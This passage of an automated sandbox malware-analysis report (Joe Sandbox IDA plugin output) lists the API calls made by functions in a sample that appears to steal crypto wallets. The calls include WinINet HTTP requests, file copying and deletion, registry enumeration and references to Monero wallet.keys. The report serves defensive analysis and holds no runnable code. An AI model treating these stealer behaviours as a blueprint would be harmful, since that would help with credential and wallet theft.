Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0112F1C8,00000000,?,01129C58,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlen.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
RtlAllocateHeap.NTDLL(00000000), ref: 004057B3
lstrlen.KERNEL32(00000000), ref: 004057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004057F9
lstrlen.KERNEL32(00000000), ref: 00405818
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405831
lstrlen.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
", xrefs: 00405614
------, xrefs: 0040568B
------, xrefs: 00405407
", xrefs: 004054D2
------, xrefs: 00405549
------, xrefs: 004052E7
", xrefs: 00405756

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 80414ee07174521a933b48034ca9236ece3466785f52637fe08a31096cb5eaf5
Instruction ID: 5178b9dccfcdfe4b7f73e92d53867ae99e2c9d91b7e1c48655c252d5a73844e9
Opcode Fuzzy Hash: 80414ee07174521a933b48034ca9236ece3466785f52637fe08a31096cb5eaf5
Instruction Fuzzy Hash: B4326071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
Part of subcall function 00404800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0112F058), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0112F1D8,00000000,?,01129C58,00000000,?,004219C0), ref: 00405EC1
lstrlen.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00405EEA
lstrlen.KERNEL32(00000000), ref: 00405EFF
lstrlen.KERNEL32(00000000), ref: 00405F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405F41
lstrlen.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0112F1B8,?,0112E710,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405AE6
------, xrefs: 00405D9C
", xrefs: 00405E66
------, xrefs: 00405C5B
", xrefs: 00405D25

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: e323e0b7811e0f778f085b71b2fbe2d91d1d7c0ce36c18f8694e01180cc3f7e4
Instruction ID: 29cbdbc44fb6bfe94e964a6ab8c815c5705ff9349c10e89e00c535d73fed6b84
Opcode Fuzzy Hash: e323e0b7811e0f778f085b71b2fbe2d91d1d7c0ce36c18f8694e01180cc3f7e4
Instruction Fuzzy Hash: 03124E71921118AACB14EBA1DC95FEEB338BF14314F40429EF50672191EF782B99CF69

Function 0040A6C0 Relevance: 30.5, APIs: 20, Instructions: 495
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(01128850,0040A6D7,?,0040A6D7,01128850), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlen.KERNEL32(00404F55,?,?,00404F55,00420DC6), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420DC6,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlen.KERNEL32(?), ref: 0040AC95
lstrlen.KERNEL32(?), ref: 0040ACA4

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcess
String ID:
API String ID: 1656385275-0
Opcode ID: 4a88750217d61a63345a0523948eea4f33ffc4cb8ae28f4857b84d3b35a5abe5
Instruction ID: 4fabbad9da373281a66a3f924581c6f68c773be7953e79d2ae4c34e45dd96192
Opcode Fuzzy Hash: 4a88750217d61a63345a0523948eea4f33ffc4cb8ae28f4857b84d3b35a5abe5
Instruction Fuzzy Hash: 23029271901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(00420E02,01129BF8,0042059E,?,?,004013F9,?,0000001A,00420E02,00000000,?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlen.KERNEL32(00404F55,?,?,00404F55,00420DC6), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420DC6,00000000), ref: 0041A255

lstrlen.KERNEL32(?), ref: 0040D16A
lstrlen.KERNEL32(?), ref: 0040D179

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(01128850,0040A6D7,?,0040A6D7,01128850), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1b41d101b4ef1b8f11409903d36ea20a435b0cb44f8b9fcfd0caabe4771e3bbf
Instruction ID: 84f519c8161e4c5c008f0898b7d9958fdea00c5489d96417c929e29e0859ab47
Opcode Fuzzy Hash: 1b41d101b4ef1b8f11409903d36ea20a435b0cb44f8b9fcfd0caabe4771e3bbf
Instruction Fuzzy Hash: A1E1A371911108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF386E99CB6A

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 0040483B
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404852
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00404869
Part of subcall function 00404800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,0112F058), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,0112F068), ref: 00404E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,0112F1B8,?,0112E710,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

", xrefs: 00404D83
------, xrefs: 00404B78
", xrefs: 00404C42
------, xrefs: 00404CB9
------, xrefs: 00404A0D

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c700cb53bf504672da2fcd75aa49c974a9ec317b236ec3758ced229bcc4ffb9b
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: c700cb53bf504672da2fcd75aa49c974a9ec317b236ec3758ced229bcc4ffb9b
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,0112A838,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED
- , xrefs: 00418043
?, xrefs: 00417E1A

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

